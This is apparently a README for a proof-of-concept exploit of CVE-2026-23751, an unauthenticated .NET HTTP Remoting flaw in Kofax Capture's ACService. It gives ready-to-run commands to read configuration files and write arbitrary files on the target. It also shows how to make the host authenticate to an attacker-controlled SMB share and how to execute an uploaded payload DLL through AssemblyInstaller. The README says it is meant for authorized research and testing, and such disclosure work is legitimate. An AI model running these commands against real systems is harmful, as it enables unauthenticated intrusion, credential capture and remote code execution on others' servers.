Code White 的 NewRemotingTricks 中描述的 .NET HTTP Remoting 技术的概念验证实现,针对 Tungsten Automation Kofax Capture。
标题: Tungsten Automation Kofax Capture 通过 .NET HTTP Remoting 实现未认证文件读写与命令执行
CVE: CVE-2026-23751
本 PoC 作者(非 CVE 作者): Filip Sanders, Siebren Kraak
CVE-2026-23751 影响 Tungsten Automation Kofax Capture,允许未认证的远程攻击者与 Kofax Capture ACService 暴露的 .NET HTTP Remoting 端点进行交互。
该漏洞可被滥用以在 Kofax Capture 服务的安全上下文中执行操作,包括:
该 PoC 重新实现了 Code White 的 NewRemotingTricks 项目中的相关 .NET Remoting 技术。
该 PoC 针对 Kofax Capture ACService HTTP Remoting 端点:
http://<target>:2424/ACService
端口 2424 是受影响服务使用的默认 HTTP Remoting 端口。
该 PoC 支持三种操作:
read
write
exec
通用语法为:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
以下示例从目标读取 Windows hosts 文件:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
可以类似地读取 Kofax Capture 配置文件:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
远程资源也可以通过 file:// URI 访问:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
远程 WebClient 返回的内容会被写入标准输出。
通过提供目标路径及随后的内容,可以将文件写入 Kofax Capture 服务可访问的位置:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
提供的内容以 UTF-8 编码,并使用远程实例化的 WebClient 上传。
相同的功能可用于通过 UNC 路径写入远程 SMB 共享:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
访问远程资源的能力取决于 Kofax Capture 服务的权限和安全上下文。
read 操作可与远程 file:// 资源配合使用,使目标访问攻击者控制的 SMB 资源:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
这可能导致受影响的主机向攻击者控制的 SMB 服务器进行身份验证,具体取决于目标环境及其安全配置。
exec 操作可用于在远程 Kofax Capture 服务的上下文中执行提供的 .NET 程序集。
该程序集首先被上传到目标,然后使用远程实例化的 AssemblyInstaller 加载:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
提供的路径用作上传程序集的存放目标,随后被传递给远程 AssemblyInstaller。该程序集在服务端加载,并通过 .NET Framework 安装机制进行安装。
执行完成后,PoC 从以下位置读取执行输出:
C:\Windows\Temp\pwn_out.txt
载荷的确切行为取决于 Payload.dll 的内容。
该漏洞涉及 Kofax Capture 的 ACService 对 .NET HTTP Remoting 的使用。
.NET Remoting 提供了与远程 MarshalByRefObject 实例进行通信的机制。通过与被暴露的 remoting 端点交互并操纵逻辑调用上下文,该 PoC 能够获取继承自 MarshalByRefObject 的 .NET Framework 类的远程实例。
该 PoC 利用此行为获取以下对象的远程实例:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
远程实例化的 WebClient 随后可用于从 Kofax Capture 服务的上下文中执行文件系统和网络操作。
对于命令执行,PoC 使用远程 WebClient 上传 Payload.dll,获取远程 AssemblyInstaller,设置其程序集路径,并调用安装机制。这会导致所提供的程序集在目标上被加载并执行。
因此,该 PoC 演示了以下原语:
MarshalByRefObject 实例的远程实例化write 功能目前仅处理 UTF-8 编码的字符串数据。可通过修改源代码来支持其他文件类型和载荷格式。
ACService 的网络访问RemotingClient_MBRO_Lazy.exeexec 操作时的 Payload.dll利用漏洞无需对 Kofax Capture 服务进行身份验证。
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
本仓库仅供安全研究、漏洞验证和经授权的渗透测试目的使用。
未经明确授权,请勿对任何系统使用此 PoC。作者不对因滥用本软件而导致的损害、数据丢失、未授权访问或其他后果承担责任。